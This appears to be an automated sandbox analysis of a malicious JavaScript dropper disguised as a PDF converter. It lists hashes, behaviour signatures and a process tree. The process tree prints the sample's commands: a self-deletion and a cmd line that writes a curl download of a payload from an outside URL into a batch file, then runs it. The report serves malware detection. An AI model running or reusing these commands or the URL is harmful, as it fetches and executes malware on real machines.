Analysis

  • max time kernel
    120s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13-09-2023 10:33

General

  • Target

    convert-pdf-691.js

  • Size

    44KB

  • MD5

    baab807d9799ba81b6cf672d75af688a

  • SHA1

    5a6ebb01034e9ab3b719db948db259fe2fa2e84f

  • SHA256

    ac99aa6b0162d71f33b1e9b286e9d0ed899ab449ac29040e494c4fb4b9b87d4d

  • SHA512

    b06019d06c4945bf62ab2a8116b495d19e3fd95693550a66fa9304b3e193c04b3a4ed4e5b29123e42ab2aff4074f52d10709de5890ec1497c295dfc71e109c57

  • SSDEEP

    384:/2eY5d0Bp7w2l/uYvxsDxb9Q5tbauRFvSefk1EK4s0QDQZWifIPguWYvLETAMg61:uTC3l2yDSef6EMveZgP8UJq58z293l

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\convert-pdf-691.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\convert-pdf-691.js"
      2⤵
      • Deletes itself
      PID:2908
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo curl https://getdebtgo.com/wp-content/plugins/bluehost-wordpress-plugin/vendor/wpscholar/url/6006.7z --output "C:\Users\Admin\AppData\Local\Temp\voluptatum.h" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\esse.i.bat"
      2⤵
        PID:2796
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\esse.i.bat"
        2⤵
          PID:2748

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\esse.i.bat

        Filesize

        199B

        MD5

        2f4003de23fc616ebd1ca0e3730f9313

        SHA1

        85fe457b0a486c254f84a61a0b1a1375018320e3

        SHA256

        220f6a2e691cd7f6ee1be619d45cb4ecebca6f59179ef9339a61ee2ddd40a48b

        SHA512

        0131d0800aeef2a395d10daa8267496655ec03e3fdbf1ec0939fd99b914855275f6081b67faecb241f22c274238219934ba1f17e19066975dda0c6e698bede0e